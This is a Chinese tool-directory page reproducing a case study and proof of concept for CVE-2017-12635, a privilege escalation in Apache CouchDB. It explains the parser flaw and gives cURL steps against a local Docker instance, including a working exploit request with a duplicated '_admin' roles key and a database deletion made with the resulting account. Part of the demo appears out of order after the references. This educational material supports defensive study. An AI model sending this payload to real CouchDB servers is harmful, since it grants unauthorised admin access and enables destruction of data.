Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-12635 — CVE-2017-12635的案例研究与POC:Apache CouchDB 1.7.0 / 2.x < 2.1.1 - 远程权限提升 | Kitploit
工具/GitHubGitHub/assalielmehdi/cve-2017-12635
权限提升漏洞分析漏洞利用Web安全渗透测试学习与教育数据库安全
GitHubassalielmehdi/cve-2017-12635

CVE-2017-12635

CVE-2017-12635的案例研究与POC:Apache CouchDB 1.7.0 / 2.x < 2.1.1 - 远程权限提升

查看仓库
10346年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-12635

CVE-2017-12635(Apache CouchDB 1.7.0 / 2.x < 2.1.1)的案例研究与PoC - 远程权限提升

介绍

CouchDB

Apache CouchDB 是一个面向文档的 NoSQL 数据库,用 Erlang 实现。

CouchDB 使用多种格式和协议来存储、传输和处理其数据:它使用 JSON 存储数据,使用 JavaScript(通过 MapReduce)作为查询语言,并使用 HTTP 作为 API。

CouchDB 既可以作为单节点数据库使用,也可以作为集群使用。

漏洞

由于基于 Erlang 的 JSON 解析器与基于 JavaScript 的 JSON 解析器之间存在差异,CouchDB 1.7.0 之前的版本以及 2.x 中早于 2.1.1 的版本存在一个漏洞,允许非管理员用户通过提交包含重复 roles 键的 _users 文档来提升权限。这些 roles 键用于数据库内的访问控制,包括表示管理员用户的特殊 _admin 角色。

总之,该漏洞允许非管理员用户赋予自己管理员权限。

更多关于 CouchDB

身份验证

默认情况下,CouchDB 允许任何人发出任何请求。所有人都拥有做任何事情的权限。

CouchDB 具有管理员用户(例如管理员、超级用户或 root)的概念,他们被允许对 CouchDB 安装执行任何操作。默认情况下,每个人都是管理员。如果您不喜欢这样,可以创建特定的管理员用户,其凭证为用户名和密码。

CouchDB 还定义了一组仅允许管理员用户执行的请求。有关更多信息,请访问官方文档。

CouchDB 有一个特殊的身份验证数据库,将所有注册用户存储为 JSON 文档。

CouchDB 使用一个特殊的数据库(默认名为 _users)来存储已注册用户的信息。这是一个系统数据库——这意味着虽然它共享通用的数据库 API,但对其文档结构应用了一些特殊的安全相关约束和约定。

只有管理员可以 GET、PUT 或 DELETE _users 数据库中的任何文档。

用户只能访问(GET /_users/org.couchdb.user:<username>)或修改(PUT /_users/org.couchdb.user:<username>)他们拥有的文档。

每个 CouchDB 用户都以文档格式存储。这些文档包含几个必填字段,CouchDB 通过这些字段处理正确的身份验证过程。我们感兴趣的是 roles 字段。

roles 字段是用户角色列表。CouchDB 不提供任何内置角色,因此您可以根据需要自由定义自己的角色。但是,您不能在其中设置系统角色,例如 _admin。此外,只有管理员才能为用户分配角色——默认情况下,所有用户都没有任何角色。

验证函数

CouchDB 是用 Erlang 编写的,但允许用户用 JavaScript 指定文档验证脚本。这些脚本在创建或更新文档时自动评估。它们会在新进程中启动,并从 Erlang 端接收经过 JSON 序列化的文档。

CouchDB 将函数和文档发送给 JavaScript 解释器。这种机制使用户能够用 JavaScript 编写文档验证函数。对于每个创建或更新的文档,都会执行 validate_doc_update 函数。如果验证函数抛出异常,则更新被拒绝;否则,更新被接受。

CouchDB 使用 validate_doc_update 函数来防止无效或未经授权的文档更新继续进行。

root@kitploit:~
function(newDoc, oldDoc, userCtx, secObj) {...}

参数:

  • newDoc – 将要存储的文档的新版本
  • oldDoc – 已经存储的文档的旧版本
  • userCtx – 用户上下文对象
  • srcObj – 安全对象

该函数接收来自更新请求的新文档、数据库中存储的当前文档、包含编写文档的用户信息(如果存在)的 User Context Object,以及包含数据库安全角色列表的 Security Object。

JSON 解析器

CouchDB 内部使用的 JSON 解析器是 jiffy,而验证脚本中 JavaScript 使用的解析器是 JSON。

问题在于,当处理重复键时,JSON 和 jiffy 之间存在差异。

对于给定的键,Erlang 解析器会存储两个值,而 JavaScript 解析器只存储最后一个值。

例如,使用两个解析器解析 {"name":"John", "name":"Jane"} 将产生:

  • 使用 jiffy:{[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}
  • 使用 JSON:{name: "Jane"}

CouchDB 内部数据表示的 getter 函数只会返回第一个值。

PoC

描述

我们可以绕过所有相关的输入验证,通过创建一个带有重复 roles 键的用户来创建一个管理员用户。 新用户的文档如下:{..., "roles": ["_admin"], "roles": [], ...}。

CouchDB 内部数据表示的 getter 函数只会返回第一个值。因此,在 Erlang 环境中,我们会看到自己拥有 _admin 角色,而在 JavaScript 环境中,我们似乎没有特殊权限。

对攻击者有利的是,除了输入验证脚本之外,几乎所有关于身份验证和授权的重要逻辑都发生在 CouchDB 的 Erlang 部分。

演示

在此演示中,我们将使用官方仓库 couchdb 中的 Docker 镜像。我们需要一个 HTTP 客户端来执行 API 调用,我们将使用 cURL。

任何操作系统都可以用于此演示。

先决条件:

  • Docker
  • cURL

以下是为了利用该漏洞而需要运行的命令:

  1. 基于 couchdb 官方镜像创建一个容器

    root@kitploit:~
    docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
    

    我们选择了 1.6.1 标签,因为 CouchDB 的 1.6.1 版本存在漏洞。

  2. 确保 CouchDB 实例已启动并正在运行

    root@kitploit:~
    curl -X GET http://localhost:5984
    
  3. 查询:实例中的所有数据库

    root@kitploit:~
    curl -X GET http://localhost:5984/_all_dbs
    
  4. 查询:创建一个名为 records 的新数据库

    root@kitploit:~
    curl -X PUT http://localhost:5984/records
    
  5. 查询:确保数据库 records 已创建

    root@kitploit:~
    curl -X GET http://localhost:5984/_all_dbs
    

    由于默认的 CouchDB 安装对所有连接的用户提供 admin 级别的访问权限,因此我们可以从 CouchDB 实例中获取、添加甚至删除所有记录。这种配置称为管理派对(Admin Party)。只需创建第一个管理员账户,我们就可以破坏这个派对。

  6. 查询:创建一个凭据为 admin:admin 的管理员账户

    root@kitploit:~
    curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
    
  7. 查询:创建一个名为 new_records 的新数据库

该演示证明了任何用户都可以创建一个具有管理员角色的账户,并像管理员一样对数据库进行操作。

如何预防

我们可以区分两种类型的 CouchDB 实例:

  • 公共 CouchDB 实例:数据库服务器具有公共访问权限,任何用户都可以使用服务器的 IP 地址和数据库的配置端口连接到数据库实例。
  • 内部 CouchDB 实例:数据库服务器具有私有访问权限,只有一组用户(例如本地网络)可以访问数据库。

默认情况下,CouchDB 实例允许匿名用户请求。为了确保所有允许的请求仅来自经过身份验证的用户,我们可以在数据库配置文件中将 require_valid_user 设置为 true。这样,匿名用户的请求将不被允许,每个人都必须经过身份验证。

以下是一些为了防止恶意用户利用该漏洞而采取的措施。这适用于所有未升级到 2.1.1 或更高版本,或 1.7.1 或更高版本的 CouchDB 1.x 和 2.x 用户。

公共 CouchDB 实例:

  • 您应该已经更新到新版本。
  • 如果您已启用 require_valid_user,并且信任所有用户拥有数据库管理员和服务器 shell 访问权限:则没有问题。

内部 CouchDB 实例:

  • 如果您信任网络上的所有人:则没有问题。
  • 如果您已启用 require_valid_user,并且信任所有用户拥有数据库管理员和服务器 shell 访问权限:则没有问题。
  • 如果您未启用 require_valid_user,并且信任所有用户拥有数据库管理员和服务器 shell 访问权限:请启用 require_valid_user。

术语表

API:应用程序编程接口(API)是计算机程序不同部分之间的接口或通信协议,旨在简化软件的实现和维护。

Erlang:Erlang 是一种通用的、并发的、函数式编程语言,也是一个垃圾回收运行时系统。

HTTP:超文本传输协议(HTTP)是一种用于分布式、协作、超媒体信息系统的应用协议。HTTP 是万维网数据传输的基础,其中超文本文档包含用户易于访问的其他资源的超链接。

JSON:JavaScript 对象表示法(JSON)是一种开放标准文件格式或数据交换格式,它使用人类可读的文本来传输由属性-值对和数组数据类型(或任何其他可序列化值)组成的数据对象。它是一种非常常见的数据格式,应用范围广泛,例如在 AJAX 系统中作为 XML 的替代品。

MapReduce:MapReduce 是一种编程模型及其相关实现,用于在集群上使用并行、分布式算法处理并生成大数据集。

NoSQL:NoSQL 数据库提供了一种存储和检索数据的机制,其建模方式不同于关系数据库中使用的表格关系。

PoC:概念验证(PoC)是为了证明某种方法或想法的可行性而进行的实现,或者是为了验证某个概念或理论具有实际潜力而进行的原理演示。

权限提升:权限提升是利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,以获得通常对应用程序或用户受保护的资源的更高访问权限的行为。

参考

  • https://www.cvedetails.com/cve/CVE-2017-12635/
  • https://www.exploit-db.com/exploits/44498
  • https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
  • https://docs.couchdb.org/en/1.6.1/
下载工具
root@kitploit:~
curl -X PUT http://localhost:5984/new_records

哎呀!我们无法再创建新数据库,因为当第一个管理员账户创建后,管理派对就被破坏了。

  • 查询:使用管理员身份验证创建一个名为 new_records 的新数据库

    root@kitploit:~
    curl -X PUT http://admin:admin@localhost:5984/new_records
    
  • 查询:在 _users 数据库中创建一个新文档

    root@kitploit:~
    curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
        -H "Accept: application/json" \
        -H "Content-Type: application/json" \
        -d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
    

    这里我们可以创建 _users 数据库中的新文档,但其参数受到限制。 通过如前所述复制 roles 字段,我们可以绕过这些限制。

  • 查询:删除名为 new_records 的数据库

    root@kitploit:~
    curl -X DELETE http://localhost:5984/new_records
    

    哎呀!我们无法删除,因为我们没有管理员角色。

  • 查询:使用访客身份验证删除名为 new_records 的数据库

    root@kitploit:~
    curl -X DELETE http://guest:guest@localhost:5984/new_records
    

    宾果!即使用户被创建为普通用户,我们也删除了数据库。